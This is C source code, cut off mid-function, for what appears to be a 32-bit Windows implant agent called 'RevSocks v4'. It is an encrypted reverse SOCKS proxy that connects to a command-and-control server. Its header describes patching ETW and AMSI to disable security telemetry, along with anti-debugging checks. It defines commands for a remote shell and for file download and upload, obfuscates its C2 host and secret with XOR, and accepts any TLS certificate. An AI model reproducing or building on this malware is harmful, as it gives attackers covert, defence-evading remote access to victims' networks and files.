/*
 * RevSocks v4 Agent — x86 build for Windows Server 2003+
 *
 * Full-featured encrypted reverse SOCKS proxy with Schannel TLS.
 *
 * Differences from agent.c (x64):
 *   - 32-bit compilation target (i686-w64-mingw32-gcc)
 *   - Schannel TLS over raw TCP (SSPI-based, no OpenSSL dependency)
 *   - inet_addr + gethostbyname (Win2003 compat, no inet_pton/getaddrinfo)
 *   - simple_mac (SHA256-based HMAC) instead of full Poly1305 (32-bit compat)
 *   - PEB offsets adjusted for x86 (fs:0x30, BeingDebugged@0x2, NtGlobalFlag@0x68)
 *   - RDTSC via =A constraint for 32-bit
 *   - ETW patch: xor eax,eax; ret 0x14 (stdcall)
 *   - AMSI patch: mov eax, E_INVALIDARG; ret 0x18 (stdcall)
 *   - Handshake marker CC86 to tell server to use simple_mac
 *   - Entry point _WinMain@16 (stdcall on x86)
 *   - ChaCha20 tunnel encryption runs INSIDE TLS (double encryption)
 *
 * Compile:
 *   i686-w64-mingw32-gcc -O2 -s -mwindows -nostartfiles -e _WinMain@16 \
 *       -fno-builtin -o agent_x86.exe agent_x86.c \
 *       -lws2_32 -lkernel32 -luser32 -lsecur32
 */

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>

/* SSPI / Schannel headers */
#define SECURITY_WIN32
#include <security.h>
#include <schannel.h>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "secur32.lib")

/* =========================================================================
 * SECTION A: CRT Replacements (no CRT dependency)
 * ========================================================================= */
#pragma function(memset)
void *memset(void *d, int c, size_t n) {
    unsigned char *p = (unsigned char*)d;
    while (n--) *p++ = (unsigned char)c;
    return d;
}
#pragma function(memcpy)
void *memcpy(void *d, const void *s, size_t n) {
    unsigned char *dp = (unsigned char*)d;
    const unsigned char *sp = (const unsigned char*)s;
    while (n--) *dp++ = *sp++;
    return d;
}
#pragma function(memcmp)
int memcmp(const void *a, const void *b, size_t n) {
    const unsigned char *pa = (const unsigned char*)a;
    const unsigned char *pb = (const unsigned char*)b;
    while (n--) { if (*pa != *pb) return *pa - *pb; pa++; pb++; }
    return 0;
}
void *memmove(void *d, const void *s, size_t n) {
    unsigned char *dp = (unsigned char*)d;
    const unsigned char *sp = (const unsigned char*)s;
    if (dp < sp) { while (n--) *dp++ = *sp++; }
    else { dp += n; sp += n; while (n--) *--dp = *--sp; }
    return d;
}
size_t strlen(const char *s) { size_t n = 0; while (*s++) n++; return n; }

/* =========================================================================
 * SECTION B: Configuration (XOR-encrypted, patched by build)
 * ========================================================================= */
#define STR_XOR_KEY 0x5A

#define C2_PORT          443
#define RECONNECT_DELAY  5000
#define RECONNECT_JITTER 3000
#define MAX_STREAMS      128
#define BUF_SIZE         65536
#define MAX_FRAME_SIZE   1048576  /* 1 MB max frame */

/* Command opcodes — identical to agent.c */
#define CMD_CONNECT      0x01
#define CMD_DATA         0x02
#define CMD_CLOSE        0x03
#define CMD_CONNECT_OK   0x04
#define CMD_CONNECT_FAIL 0x05
#define CMD_HEARTBEAT    0x06
#define CMD_SLEEP        0x07
#define CMD_SET_SLEEP    0x08
#define CMD_SHELL_OPEN   0x10
#define CMD_SHELL_DATA   0x11
#define CMD_SHELL_CLOSE  0x12
#define CMD_DOWNLOAD     0x20
#define CMD_DOWNLOAD_DATA 0x21
#define CMD_DOWNLOAD_END 0x22
#define CMD_DOWNLOAD_ERR 0x23
#define CMD_UPLOAD       0x30
#define CMD_UPLOAD_DATA  0x31
#define CMD_UPLOAD_END   0x32
#define CMD_UPLOAD_OK    0x33
#define CMD_UPLOAD_ERR   0x34

/* XOR-encrypted C2 host: "CHANGEME_IP" */
static unsigned char enc_c2_host[] = {0x19,0x12,0x1b,0x14,0x1d,0x1f,0x17,0x1f,0x05,0x13,0x0a};
#define ENC_C2_HOST_LEN 11

/* XOR-encrypted shared secret: "CHANGE_THIS_SECRET_KEY_32_CHARX" */
static unsigned char enc_secret[] = {0x19,0x12,0x1b,0x14,0x1d,0x1f,0x05,0x0e,0x12,0x13,0x09,0x05,0x09,0x1f,0x19,0x08,0x1f,0x0e,0x05,0x11,0x1f,0x03,0x05,0x69,0x68,0x05,0x19,0x12,0x1b,0x08,0x02};
#define ENC_SECRET_LEN 31

/* XOR-encrypted tunnel KDF prefix: "chacha20_tunnel_v4_" */
static unsigned char enc_tunnel_prefix[] = {0x39,0x32,0x3b,0x39,0x32,0x3b,0x68,0x6a,0x05,0x2e,0x2f,0x34,0x34,0x3f,0x36,0x05,0x2c,0x6e,0x05};
#define ENC_TUNNEL_PREFIX_LEN 19

/* Decrypt XOR string into caller-supplied buffer, null-terminate */
static void decrypt_str(const unsigned char *enc, int len, char *out) {
    int i;
    for (i = 0; i < len; i++) out[i] = (char)(enc[i] ^ STR_XOR_KEY);
    out[len] = '\0';
}

/* =========================================================================
 * SECTION C: SHA-256 (identical to agent.c)
 * ========================================================================= */
typedef struct { uint32_t state[8]; uint64_t count; uint8_t buf[64]; } SHA256_CTX;
static const uint32_t K256[64] = {
    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
};
#define RR(x,n) (((x)>>(n))|((x)<<(32-(n))))
#define S0(x) (RR(x,2)^RR(x,13)^RR(x,22))
#define S1(x) (RR(x,6)^RR(x,11)^RR(x,25))
#define s0(x) (RR(x,7)^RR(x,18)^((x)>>3))
#define s1(x) (RR(x,17)^RR(x,19)^((x)>>10))
#define CH(x,y,z) (((x)&(y))^((~(x))&(z)))
#define MAJ(x,y,z) (((x)&(y))^((x)&(z))^((y)&(z)))

static void sha256_transform(SHA256_CTX *ctx, const uint8_t *data) {
    uint32_t W[64], a, b, c, d, e, f, g, h, t1, t2;
    int i;
    for (i = 0; i < 16; i++)
        W[i] = (data[i*4]<<24)|(data[i*4+1]<<16)|(data[i*4+2]<<8)|data[i*4+3];
    for (i = 16; i < 64; i++)
        W[i] = s1(W[i-2]) + W[i-7] + s0(W[i-15]) + W[i-16];
    a=ctx->state[0]; b=ctx->state[1]; c=ctx->state[2]; d=ctx->state[3];
    e=ctx->state[4]; f=ctx->state[5]; g=ctx->state[6]; h=ctx->state[7];
    for (i = 0; i < 64; i++) {
        t1 = h + S1(e) + CH(e,f,g) + K256[i] + W[i];
        t2 = S0(a) + MAJ(a,b,c);
        h=g; g=f; f=e; e=d+t1; d=c; c=b; b=a; a=t1+t2;
    }
    ctx->state[0]+=a; ctx->state[1]+=b; ctx->state[2]+=c; ctx->state[3]+=d;
    ctx->state[4]+=e; ctx->state[5]+=f; ctx->state[6]+=g; ctx->state[7]+=h;
}

static void sha256_init(SHA256_CTX *ctx) {
    ctx->state[0]=0x6a09e667; ctx->state[1]=0xbb67ae85;
    ctx->state[2]=0x3c6ef372; ctx->state[3]=0xa54ff53a;
    ctx->state[4]=0x510e527f; ctx->state[5]=0x9b05688c;
    ctx->state[6]=0x1f83d9ab; ctx->state[7]=0x5be0cd19;
    ctx->count = 0;
}

static void sha256_update(SHA256_CTX *ctx, const uint8_t *data, size_t len) {
    size_t i, idx = (size_t)(ctx->count % 64);
    ctx->count += len;
    for (i = 0; i < len; i++) {
        ctx->buf[idx++] = data[i];
        if (idx == 64) { sha256_transform(ctx, ctx->buf); idx = 0; }
    }
}

static void sha256_final(SHA256_CTX *ctx, uint8_t *hash) {
    uint64_t bits = ctx->count * 8;
    size_t idx = (size_t)(ctx->count % 64);
    int i;
    ctx->buf[idx++] = 0x80;
    if (idx > 56) {
        while (idx < 64) ctx->buf[idx++] = 0;
        sha256_transform(ctx, ctx->buf); idx = 0;
    }
    while (idx < 56) ctx->buf[idx++] = 0;
    for (i = 7; i >= 0; i--) ctx->buf[56+(7-i)] = (uint8_t)((bits >> (i*8)) & 0xff);
    sha256_transform(ctx, ctx->buf);
    for (i = 0; i < 8; i++) {
        hash[i*4]   = (ctx->state[i]>>24) & 0xff;
        hash[i*4+1] = (ctx->state[i]>>16) & 0xff;
        hash[i*4+2] = (ctx->state[i]>>8)  & 0xff;
        hash[i*4+3] =  ctx->state[i]      & 0xff;
    }
}

static void sha256_hash(const uint8_t *d, size_t l, uint8_t *o) {
    SHA256_CTX c; sha256_init(&c); sha256_update(&c, d, l); sha256_final(&c, o);
}

/* =========================================================================
 * SECTION D: ChaCha20 + simple_mac (SHA256-based MAC for 32-bit compat)
 *
 * Full Poly1305 requires 64-bit multiply accumulation which is slow/fragile
 * on 32-bit. We use SHA256(poly_key || ciphertext || len_be32) truncated to
 * 16 bytes instead. Still authenticated, compatible with v4 server when
 * server detects x86 handshake marker "CC86".
 * ========================================================================= */
#define ROTL32(x,n) (((x)<<(n))|((x)>>(32-(n))))

static void chacha20_quarter(uint32_t *s, int a, int b, int c, int d) {
    s[a]+=s[b]; s[d]^=s[a]; s[d]=ROTL32(s[d],16);
    s[c]+=s[d]; s[b]^=s[c]; s[b]=ROTL32(s[b],12);
    s[a]+=s[b]; s[d]^=s[a]; s[d]=ROTL32(s[d],8);
    s[c]+=s[d]; s[b]^=s[c]; s[b]=ROTL32(s[b],7);
}

static void chacha20_block(const uint8_t key[32], uint32_t counter,
                           const uint8_t nonce[12], uint8_t out[64]) {
    uint32_t state[16] = {
        0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
        0,0,0,0, 0,0,0,0,
        counter, 0,0,0
    };
    uint32_t w[16];
    int i;
    for (i = 0; i < 8; i++)
        state[4+i] = (uint32_t)key[i*4] | ((uint32_t)key[i*4+1]<<8) |
                     ((uint32_t)key[i*4+2]<<16) | ((uint32_t)key[i*4+3]<<24);
    state[13] = (uint32_t)nonce[0]  | ((uint32_t)nonce[1]<<8)  |
                ((uint32_t)nonce[2]<<16) | ((uint32_t)nonce[3]<<24);
    state[14] = (uint32_t)nonce[4]  | ((uint32_t)nonce[5]<<8)  |
                ((uint32_t)nonce[6]<<16) | ((uint32_t)nonce[7]<<24);
    state[15] = (uint32_t)nonce[8]  | ((uint32_t)nonce[9]<<8)  |
                ((uint32_t)nonce[10]<<16)| ((uint32_t)nonce[11]<<24);
    memcpy(w, state, 64);
    for (i = 0; i < 10; i++) {
        chacha20_quarter(w,0,4,8,12);  chacha20_quarter(w,1,5,9,13);
        chacha20_quarter(w,2,6,10,14); chacha20_quarter(w,3,7,11,15);
        chacha20_quarter(w,0,5,10,15); chacha20_quarter(w,1,6,11,12);
        chacha20_quarter(w,2,7,8,13);  chacha20_quarter(w,3,4,9,14);
    }
    for (i = 0; i < 16; i++) {
        uint32_t v = w[i] + state[i];
        out[i*4]=(uint8_t)(v); out[i*4+1]=(uint8_t)(v>>8);
        out[i*4+2]=(uint8_t)(v>>16); out[i*4+3]=(uint8_t)(v>>24);
    }
}

static void chacha20_crypt(const uint8_t key[32], const uint8_t nonce[12],
                           uint32_t counter, uint8_t *data, int len) {
    uint8_t block[64];
    int pos = 0;
    while (pos < len) {
        chacha20_block(key, counter++, nonce, block);
        int chunk = (len - pos) > 64 ? 64 : (len - pos);
        int i;
        for (i = 0; i < chunk; i++) data[pos+i] ^= block[i];
        pos += chunk;
    }
}

/* SHA256-based MAC: MAC = SHA256(poly_key || ciphertext || len_be32)[0:16] */
static void simple_mac(const uint8_t poly_key[32], const uint8_t *ct, int ct_len,
                       uint8_t tag[16]) {
    SHA256_CTX h;
    uint8_t full[32];
    uint8_t lb[4];
    sha256_init(&h);
    sha256_update(&h, poly_key, 32);
    sha256_update(&h, ct, (size_t)ct_len);
    lb[0] = (ct_len >> 24) & 0xff;
    lb[1] = (ct_len >> 16) & 0xff;
    lb[2] = (ct_len >> 8) & 0xff;
    lb[3] = ct_len & 0xff;
    sha256_update(&h, lb, 4);
    sha256_final(&h, full);
    memcpy(tag, full, 16);
}

/* =========================================================================
 * SECTION E: AEAD Context
 * ========================================================================= */
typedef struct {
    uint8_t key[32];
    uint64_t send_ctr;
    uint64_t recv_ctr;
} CC20Ctx;

static CRITICAL_SECTION g_lock;

static void cc20_init(CC20Ctx *ctx, const uint8_t *secret, int slen) {
    SHA256_CTX h;
    char prefix[ENC_TUNNEL_PREFIX_LEN + 1];
    decrypt_str(enc_tunnel_prefix, ENC_TUNNEL_PREFIX_LEN, prefix);
    sha256_init(&h);
    sha256_update(&h, (uint8_t*)prefix, ENC_TUNNEL_PREFIX_LEN);
    sha256_update(&h, secret, (size_t)slen);
    sha256_final(&h, ctx->key);
    memset(prefix, 0, sizeof(prefix));
    ctx->send_ctr = 0;
    ctx->recv_ctr = 0;
}

static void cc20_make_nonce(uint64_t ctr, uint8_t nonce[12]) {
    memset(nonce, 0, 4);
    nonce[4]  = (uint8_t)(ctr);      nonce[5]  = (uint8_t)(ctr >> 8);
    nonce[6]  = (uint8_t)(ctr >> 16); nonce[7]  = (uint8_t)(ctr >> 24);
    nonce[8]  = (uint8_t)(ctr >> 32); nonce[9]  = (uint8_t)(ctr >> 40);
    nonce[10] = (uint8_t)(ctr >> 48); nonce[11] = (uint8_t)(ctr >> 56);
}

/* =========================================================================
 * SECTION F: Schannel TLS Context
 *
 * Uses Windows SSPI to establish a TLS 1.2 connection over the raw TCP
 * socket. All tunnel I/O (ChaCha20 encrypted frames) is sent through
 * EncryptMessage/DecryptMessage, providing double encryption.
 * ========================================================================= */

/* TLS receive buffer size — must hold at least one TLS record (16KB + overhead) */
#define TLS_RECV_BUF_SIZE  (32768 + 256)

/* Maximum TLS plaintext we'll encrypt per record */
#define TLS_MAX_PLAINTEXT  16384

typedef struct {
    SOCKET          sock;           /* underlying TCP socket */
    CredHandle      hCred;          /* Schannel credential handle */
    CtxtHandle      hCtx;           /* security context */
    SecPkgContext_StreamSizes sizes; /* stream header/trailer sizes */
    int             established;    /* 1 after handshake complete */
    /* Decryption buffer: holds raw TLS records received from network */
    uint8_t        *recv_buf;       /* heap-allocated, TLS_RECV_BUF_SIZE */
    int             recv_buf_used;  /* bytes of data currently in recv_buf */
    /* Decrypted plaintext overflow (partial reads from DecryptMessage) */
    uint8_t        *extra_buf;      /* heap-allocated, overflow plaintext */
    int             extra_len;      /* bytes remaining in extra_buf */
    int             extra_cap;      /* allocated capacity of extra_buf */
} TLS_CTX;

/* Forward declarations for raw socket I/O helpers used during handshake */
static int raw_send_all(SOCKET s, const uint8_t *buf, int len);
static int raw_recv_some(SOCKET s, uint8_t *buf, int max_len);

/* Initialize Schannel credentials for TLS 1.2 client (no client cert) */
static int tls_init_creds(TLS_CTX *tls) {
    SCHANNEL_CRED scred;
    TimeStamp ts;
    SECURITY_STATUS ss;

    memset(&scred, 0, sizeof(scred));
    scred.dwVersion = SCHANNEL_CRED_VERSION;
    scred.grbitEnabledProtocols = SP_PROT_TLS1_2;
    scred.dwFlags = SCH_CRED_AUTO_CRED_VALIDATION |
                    SCH_CRED_NO_DEFAULT_CREDS |
                    SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT;
    /* For C2 we skip strict cert validation — accept any server cert */
    scred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION |
                    SCH_CRED_NO_DEFAULT_CREDS;

    ss = AcquireCredentialsHandleA(
        NULL,                    /* principal */
        (SEC_CHAR*)UNISP_NAME_A, /* package: "Microsoft Unified Security Protocol Provider" */
        SECPKG_CRED_OUTBOUND,   /* client */
        NULL, &scred, NULL, NULL,
        &tls->hCred, &ts
    );
    return (ss == SEC_E_OK) ? 0 : -1;
}

/* Perform the TLS handshake loop: InitializeSecurityContext exchanges */
static int tls_handshake(TLS_CTX *tls, const char *hostname) {
    SecBuffer       out_buf_arr[1];
    SecBufferDesc   out_buf_desc;
    SecBuffer       in_buf_arr[2];
    SecBufferDesc   in_buf_desc;
    SECURITY_STATUS ss;
    DWORD           ctx_req;
    DWORD           ctx_attr;
    TimeStamp       ts;
    int             initial = 1;
    uint8_t        *hs_buf;
    int             hs_buf_used = 0;
    int             hs_buf_cap = TLS_RECV_BUF_SIZE;

    hs_buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, hs_buf_cap);
    if (!hs_buf) return -1;

    ctx_req = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT |
              ISC_REQ_CONFIDENTIALITY | ISC_REQ_STREAM |
              ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_MANUAL_CRED_VALIDATION;

    for (;;) {
        /* Set up output buffer (SSPI allocates it) */
        out_buf_arr[0].pvBuffer   = NULL;
        out_buf_arr[0].cbBuffer   = 0;
        out_buf_arr[0].BufferType = SECBUFFER_TOKEN;
        out_buf_desc.ulVersion = SECBUFFER_VERSION;
        out_buf_desc.cBuffers  = 1;
        out_buf_desc.pBuffers  = out_buf_arr;

        if (initial) {
            /* First call: no input token */
            ss = InitializeSecurityContextA(
                &tls->hCred, NULL,
                (SEC_CHAR*)hostname,
                ctx_req, 0, 0,
                NULL, 0,
                &tls->hCtx, &out_buf_desc,
                &ctx_attr, &ts
            );
            initial = 0;
        } else {
            /* Subsequent calls: provide received server data */
            in_buf_arr[0].pvBuffer   = hs_buf;
            in_buf_arr[0].cbBuffer   = (unsigned long)hs_buf_used;
            in_buf_arr[0].BufferType = SECBUFFER_TOKEN;
            in_buf_arr[1].pvBuffer   = NULL;
            in_buf_arr[1].cbBuffer   = 0;
            in_buf_arr[1].BufferType = SECBUFFER_EMPTY;
            in_buf_desc.ulVersion = SECBUFFER_VERSION;
            in_buf_desc.cBuffers  = 2;
            in_buf_desc.pBuffers  = in_buf_arr;

            ss = InitializeSecurityContextA(
                &tls->hCred, &tls->hCtx,
                (SEC_CHAR*)hostname,
                ctx_req, 0, 0,
                &in_buf_desc, 0,
                NULL, &out_buf_desc,
                &ctx_attr, &ts
            );

            /* Handle extra data returned in second input buffer */
            if (in_buf_arr[1].BufferType == SECBUFFER_EXTRA && in_buf_arr[1].cbBuffer > 0) {
                int extra = (int)in_buf_arr[1].cbBuffer;
                memmove(hs_buf, hs_buf + hs_buf_used - extra, extra);
                hs_buf_used = extra;
            } else if (ss != SEC_E_INCOMPLETE_MESSAGE) {
                hs_buf_used = 0;
            }
        }

        /* Send any output token to server */
        if (out_buf_arr[0].pvBuffer && out_buf_arr[0].cbBuffer > 0) {
            if (raw_send_all(tls->sock, (uint8_t*)out_buf_arr[0].pvBuffer,
                             (int)out_buf_arr[0].cbBuffer) < 0) {
                FreeContextBuffer(out_buf_arr[0].pvBuffer);
                HeapFree(GetProcessHeap(), 0, hs_buf);
                return -1;
            }
            FreeContextBuffer(out_buf_arr[0].pvBuffer);
        }

        if (ss == SEC_E_OK) {
            /* Handshake complete */
            break;
        } else if (ss == SEC_I_CONTINUE_NEEDED || ss == SEC_E_INCOMPLETE_MESSAGE) {
            /* Need more data from server */
            if (hs_buf_used >= hs_buf_cap) {
                /* Buffer full — shouldn't happen with reasonable TLS */
                HeapFree(GetProcessHeap(), 0, hs_buf);
                return -1;
            }
            int r = raw_recv_some(tls->sock, hs_buf + hs_buf_used,
                                  hs_buf_cap - hs_buf_used);
            if (r <= 0) {
                HeapFree(GetProcessHeap(), 0, hs_buf);
                return -1;
            }
            hs_buf_used += r;
        } else {
            /* Handshake failed */
            HeapFree(GetProcessHeap(), 0, hs_buf);
            return -1;
        }
    }

    /* Query stream sizes for encryption */
    ss = QueryContextAttributesA(&tls->hCtx, SECPKG_ATTR_STREAM_SIZES, &tls->sizes);
    if (ss != SEC_E_OK) {
        HeapFree(GetProcessHeap(), 0, hs_buf);
        return -1;
    }

    /* Move any remaining handshake data into recv_buf for later decryption */
    if (hs_buf_used > 0) {
        memcpy(tls->recv_buf, hs_buf, hs_buf_used);
        tls->recv_buf_used = hs_buf_used;
    }

    HeapFree(GetProcessHeap(), 0, hs_buf);
    tls->established = 1;
    return 0;
}

/* Allocate TLS context, perform credential init + handshake */
static TLS_CTX *tls_connect(SOCKET sock, const char *hostname) {
    TLS_CTX *tls = (TLS_CTX*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(TLS_CTX));
    if (!tls) return NULL;

    tls->sock = sock;
    tls->recv_buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, TLS_RECV_BUF_SIZE);
    if (!tls->recv_buf) {
        HeapFree(GetProcessHeap(), 0, tls);
        return NULL;
    }
    tls->recv_buf_used = 0;
    tls->extra_cap = TLS_MAX_PLAINTEXT;
    tls->extra_buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, tls->extra_cap);
    if (!tls->extra_buf) {
        HeapFree(GetProcessHeap(), 0, tls->recv_buf);
        HeapFree(GetProcessHeap(), 0, tls);
        return NULL;
    }
    tls->extra_len = 0;

    if (tls_init_creds(tls) != 0) {
        HeapFree(GetProcessHeap(), 0, tls->extra_buf);
        HeapFree(GetProcessHeap(), 0, tls->recv_buf);
        HeapFree(GetProcessHeap(), 0, tls);
        return NULL;
    }

    if (tls_handshake(tls, hostname) != 0) {
        FreeCredentialsHandle(&tls->hCred);
        HeapFree(GetProcessHeap(), 0, tls->extra_buf);
        HeapFree(GetProcessHeap(), 0, tls->recv_buf);
        HeapFree(GetProcessHeap(), 0, tls);
        return NULL;
    }

    return tls;
}

/* Shutdown TLS session and free resources */
static void tls_shutdown(TLS_CTX *tls) {
    if (!tls) return;
    if (tls->established) {
        /* Send TLS shutdown notify */
        DWORD shut_type = SCHANNEL_SHUTDOWN;
        SecBuffer shut_buf;
        SecBufferDesc shut_desc;
        shut_buf.pvBuffer   = &shut_type;
        shut_buf.cbBuffer   = sizeof(shut_type);
        shut_buf.BufferType = SECBUFFER_TOKEN;
        shut_desc.ulVersion = SECBUFFER_VERSION;
        shut_desc.cBuffers  = 1;
        shut_desc.pBuffers  = &shut_buf;
        if (ApplyControlToken(&tls->hCtx, &shut_desc) == SEC_E_OK) {
            SecBuffer out_buf;
            SecBufferDesc out_desc;
            DWORD attr;
            TimeStamp ts;
            out_buf.pvBuffer   = NULL;
            out_buf.cbBuffer   = 0;
            out_buf.BufferType = SECBUFFER_TOKEN;
            out_desc.ulVersion = SECBUFFER_VERSION;
            out_desc.cBuffers  = 1;
            out_desc.pBuffers  = &out_buf;
            SECURITY_STATUS ss = InitializeSecurityContextA(
                &tls->hCred, &tls->hCtx, NULL,
                ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT |
                ISC_REQ_CONFIDENTIALITY | ISC_REQ_STREAM |
                ISC_REQ_ALLOCATE_MEMORY,
                0, 0, NULL, 0, NULL, &out_desc, &attr, &ts
            );
            if (ss == SEC_E_OK || ss == SEC_I_CONTEXT_EXPIRED) {
                if (out_buf.pvBuffer && out_buf.cbBuffer > 0) {
                    raw_send_all(tls->sock, (uint8_t*)out_buf.pvBuffer, (int)out_buf.cbBuffer);
                    FreeContextBuffer(out_buf.pvBuffer);
                }
            }
        }
        DeleteSecurityContext(&tls->hCtx);
    }
    FreeCredentialsHandle(&tls->hCred);
    if (tls->recv_buf)  HeapFree(GetProcessHeap(), 0, tls->recv_buf);
    if (tls->extra_buf) HeapFree(GetProcessHeap(), 0, tls->extra_buf);
    HeapFree(GetProcessHeap(), 0, tls);
}

/* TLS send: EncryptMessage then send all buffers over TCP */
static int tls_send(TLS_CTX *tls, const uint8_t *data, int len) {
    int sent = 0;
    while (sent < len) {
        int chunk = len - sent;
        if (chunk > (int)tls->sizes.cbMaximumMessage)
            chunk = (int)tls->sizes.cbMaximumMessage;

        int msg_size = (int)tls->sizes.cbHeader + chunk + (int)tls->sizes.cbTrailer;
        uint8_t *msg_buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, msg_size);
        if (!msg_buf) return -1;

        /* Copy plaintext after header */
        memcpy(msg_buf + tls->sizes.cbHeader, data + sent, chunk);

        SecBuffer bufs[4];
        SecBufferDesc desc;
        bufs[0].pvBuffer   = msg_buf;
        bufs[0].cbBuffer   = tls->sizes.cbHeader;
        bufs[0].BufferType = SECBUFFER_STREAM_HEADER;
        bufs[1].pvBuffer   = msg_buf + tls->sizes.cbHeader;
        bufs[1].cbBuffer   = (unsigned long)chunk;
        bufs[1].BufferType = SECBUFFER_DATA;
        bufs[2].pvBuffer   = msg_buf + tls->sizes.cbHeader + chunk;
        bufs[2].cbBuffer   = tls->sizes.cbTrailer;
        bufs[2].BufferType = SECBUFFER_STREAM_TRAILER;
        bufs[3].pvBuffer   = NULL;
        bufs[3].cbBuffer   = 0;
        bufs[3].BufferType = SECBUFFER_EMPTY;
        desc.ulVersion = SECBUFFER_VERSION;
        desc.cBuffers  = 4;
        desc.pBuffers  = bufs;

        SECURITY_STATUS ss = EncryptMessage(&tls->hCtx, 0, &desc, 0);
        if (ss != SEC_E_OK) {
            HeapFree(GetProcessHeap(), 0, msg_buf);
            return -1;
        }

        /* Total encrypted size = sum of header + data + trailer */
        int total = (int)bufs[0].cbBuffer + (int)bufs[1].cbBuffer + (int)bufs[2].cbBuffer;
        if (raw_send_all(tls->sock, msg_buf, total) < 0) {
            HeapFree(GetProcessHeap(), 0, msg_buf);
            return -1;
        }
        HeapFree(GetProcessHeap(), 0, msg_buf);
        sent += chunk;
    }
    return sent;
}

/* TLS recv: receive into buffer, DecryptMessage, return plaintext */
static int tls_recv(TLS_CTX *tls, uint8_t *buf, int max_len) {
    /* First, drain any extra plaintext from previous DecryptMessage */
    if (tls->extra_len > 0) {
        int copy = tls->extra_len;
        if (copy > max_len) copy = max_len;
        memcpy(buf, tls->extra_buf, copy);
        if (copy < tls->extra_len) {
            memmove(tls->extra_buf, tls->extra_buf + copy, tls->extra_len - copy);
        }
        tls->extra_len -= copy;
        return copy;
    }

    for (;;) {
        /* Try to decrypt what we have */
        if (tls->recv_buf_used > 0) {
            SecBuffer bufs[4];
            SecBufferDesc desc;
            bufs[0].pvBuffer   = tls->recv_buf;
            bufs[0].cbBuffer   = (unsigned long)tls->recv_buf_used;
            bufs[0].BufferType = SECBUFFER_DATA;
            bufs[1].BufferType = SECBUFFER_EMPTY; bufs[1].pvBuffer = NULL; bufs[1].cbBuffer = 0;
            bufs[2].BufferType = SECBUFFER_EMPTY; bufs[2].pvBuffer = NULL; bufs[2].cbBuffer = 0;
            bufs[3].BufferType = SECBUFFER_EMPTY; bufs[3].pvBuffer = NULL; bufs[3].cbBuffer = 0;
            desc.ulVersion = SECBUFFER_VERSION;
            desc.cBuffers  = 4;
            desc.pBuffers  = bufs;

            SECURITY_STATUS ss = DecryptMessage(&tls->hCtx, &desc, 0, NULL);

            if (ss == SEC_E_OK) {
                /* Find the DATA buffer (plaintext) */
                SecBuffer *pData = NULL;
                SecBuffer *pExtra = NULL;
                int i;
                for (i = 0; i < 4; i++) {
                    if (bufs[i].BufferType == SECBUFFER_DATA)  pData = &bufs[i];
                    if (bufs[i].BufferType == SECBUFFER_EXTRA) pExtra = &bufs[i];
                }

                int plaintext_len = pData ? (int)pData->cbBuffer : 0;
                uint8_t *plaintext_ptr = pData ? (uint8_t*)pData->pvBuffer : NULL;

                /* Move any extra (unprocessed TLS records) to beginning */
                if (pExtra && pExtra->cbBuffer > 0) {
                    memmove(tls->recv_buf, (uint8_t*)pExtra->pvBuffer, pExtra->cbBuffer);
                    tls->recv_buf_used = (int)pExtra->cbBuffer;
                } else {
                    tls->recv_buf_used = 0;
                }

                if (plaintext_len > 0 && plaintext_ptr) {
                    int copy = plaintext_len;
                    if (copy > max_len) copy = max_len;
                    memcpy(buf, plaintext_ptr, copy);
                    /* Store overflow */
                    if (copy < plaintext_len) {
                        int overflow = plaintext_len - copy;
                        if (overflow > tls->extra_cap) {
                            /* Reallocate */
                            HeapFree(GetProcessHeap(), 0, tls->extra_buf);
                            tls->extra_cap = overflow + 4096;
                            tls->extra_buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, tls->extra_cap);
                            if (!tls->extra_buf) { tls->extra_cap = 0; return -1; }
                        }
                        memcpy(tls->extra_buf, plaintext_ptr + copy, overflow);
                        tls->extra_len = overflow;
                    }
                    return copy;
                }
                /* Zero-length data record — continue reading */
                continue;
            } else if (ss == SEC_E_INCOMPLETE_MESSAGE) {
                /* Need more data from network — fall through to recv */
            } else if (ss == SEC_I_CONTEXT_EXPIRED) {
                /* Server sent TLS close_notify */
                return -1;
            } else if (ss == SEC_I_RENEGOTIATE) {
                /* Renegotiation requested — re-run handshake is complex, bail */
                return -1;
            } else {
                /* Decryption error */
                return -1;
            }
        }

        /* Read more data from network */
        if (tls->recv_buf_used >= TLS_RECV_BUF_SIZE) return -1; /* buffer full */
        int r = recv(tls->sock, (char*)(tls->recv_buf + tls->recv_buf_used),
                     TLS_RECV_BUF_SIZE - tls->recv_buf_used, 0);
        if (r <= 0) return -1;
        tls->recv_buf_used += r;
    }
}

/* Raw TCP helpers used during TLS handshake (before encryption is active) */
static int raw_send_all(SOCKET s, const uint8_t *buf, int len) {
    int sent = 0, r;
    while (sent < len) {
